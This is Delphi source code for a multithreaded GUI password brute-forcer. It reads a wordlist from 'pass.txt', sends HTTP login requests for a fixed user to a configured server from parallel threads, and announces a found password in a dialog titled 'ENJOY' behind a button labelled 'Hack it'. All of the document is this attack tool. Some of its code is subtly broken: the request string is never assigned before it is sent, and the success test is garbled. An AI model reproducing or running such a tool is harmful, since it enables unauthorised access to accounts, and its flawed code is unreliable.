unit
Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 =
class
(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure
Button1Click(Sender: TObject);
procedure
FormCreate(Sender: TObject);
private
public
end
;
type
TScan =
class
(TThread)
sock2: TSocket;
addr
: TSockAddrIn;
WSAData: TWSAData;
private
procedure
CScan;
protected
procedure
Execute; override;
end
;
var
Form1: TForm1;
Sock :
array
[
1..255
]
of
TScan;
Rez :
boolean
=
false
;
I0 :
Integer
;
I :
Integer
;
PassList, DopList1 : TStringList;
const
FilePass =
'pass.txt'
;
ProcCount =
10
;
HTTPserv =
'proxy.address.net'
;
User =
'USER'
;
implementation
type
TaPInAddr =
array
[
0..255
]
of
PInAddr;
PaPInAddr = ^TaPInAddr;
{$R *.DFM}
procedure
TForm1
.
FormCreate(Sender: TObject);
begin
PassList:=TStringList
.
Create;
DopList1:=TStringList
.
Create;
end
;
procedure
TForm1
.
Button1Click(Sender: TObject);
var
J0 :
Integer
;
begin
if
Rez
then
begin
Rez:=
false
;
for
J0:=
1
to
I0
do
try
Sock[J0].Terminate;
except
end
;
end
else
begin
try
PassList
.
Clear;
PassList
.
LoadFromFile(FilePass);
except
end
;
if
PassList
.
Count<=
0
then
begin
Application
.
MessageBox(
'Файл паролей не найден или его нельзя использовать'
,
'ERROR'
, mb_Ok);
exit;
end
;
Form1
.
Button1
.
Caption:=
'Stop'
;
Form1
.
ProgressBar1
.
Position:=
0
;
Form1
.
ProgressBar1
.
Max:=PassList
.
Count;
Application
.
ProcessMessages;
I:=
0
;
I0:=
1
;
Rez:=
true
;
while
true
do
begin
Sock[I0]:=TScan
.
Create(
false
);
inc(I0);
if
(I0>ProcCount)
or
(
not
Rez)
then
break;
if
I0
mod
100
=
0
then
DopList1
.
Text:=IntToStr(I0);
end
;
end
;
end
;
procedure
TScan
.
Execute;
var
iaddr, x0 :
Integer
;
ph : PHostEnt;
pptr : PaPInAddr;
InAddr : TInAddr;
begin
try
WSAStartUp(
257
, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if
sock2=INVALID_SOCKET
then
begin
try
closesocket(sock2);
except
end
;
try
Terminate;
except
end
;
exit;
end
;
iaddr := inet_addr(HTTPserv);
if
iaddr <=
0
then
begin
ph := gethostbyname(HTTPserv);
if
ph =
nil
then
begin
try
closesocket(sock2);
except
end
;
try
Terminate;
except
end
;
exit;
end
;
pptr := PaPInAddr(ph^.h_addr_list);
x0 :=
0
;
while
pptr^[x0] <>
nil
do
begin
InAddr:= pptr^[x0]^;
inc(x0);
addr
.
sin_addr:=inaddr;
addr
.
sin_family := AF_INET;
addr
.
sin_port := htons(
80
);
if
(connect(sock2,
addr
, sizeof(
addr
))) =
0
then
break
end
;
end
else
begin
addr
.
sin_addr
.
S_addr:=iaddr;
addr
.
sin_family := AF_INET;
addr
.
sin_port := htons(
80
);
addr
.
sin_family := AF_INET;
if
(connect(sock2,
addr
, sizeof(
addr
))) >
0
then
begin
try
closesocket(sock2);
except
end
;
try
Terminate;
except
end
;
exit;
end
;
end
;
while
true
do
begin
CScan;
if
(
not
Rez)
or
(I>=PassList
.
Count)
then
break;
end
;
except
end
;
dec(I0);
try
Terminate;
except
end
;
if
I0<=
1
then
begin
Form1
.
Button1
.
Caption:=
'Hack it'
;
Rez:=
false
;
Application
.
ProcessMessages;
DopList1
.
SaveToFile(
'log.txt'
);
end
;
end
;
procedure
TScan
.
CScan;
var
x, I2 :
Integer
;
Buf :
string
;
begin
I2:=I;
inc(I);
Form1
.
ProgressBar1
.
Position:=I2+
1
;
Application
.
ProcessMessages;
try
PassList
.
Strings[I2]+
'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0'
;
send(sock2,Buf[
1
],length(Buf),
0
);
setlength(Buf,
300
);
x:=recv(sock2,Buf[
1
],
300
,
0
);
if
x<
300
then
exit;
setlength(Buf,
300
);
if
pos(Buf,
'<!D'
)<=
0
then
begin
Rez:=
false
;
DopList1
.
Text:=
'Pass = '
+PassList
.
Strings[I2];
Application
.
MessageBox(
PChar
(
'Pass = '
+PassList
.
Strings[I2]),
'ENJOY'
,mb_Ok);
exit;
end
;
except
end
;
end
;
end
.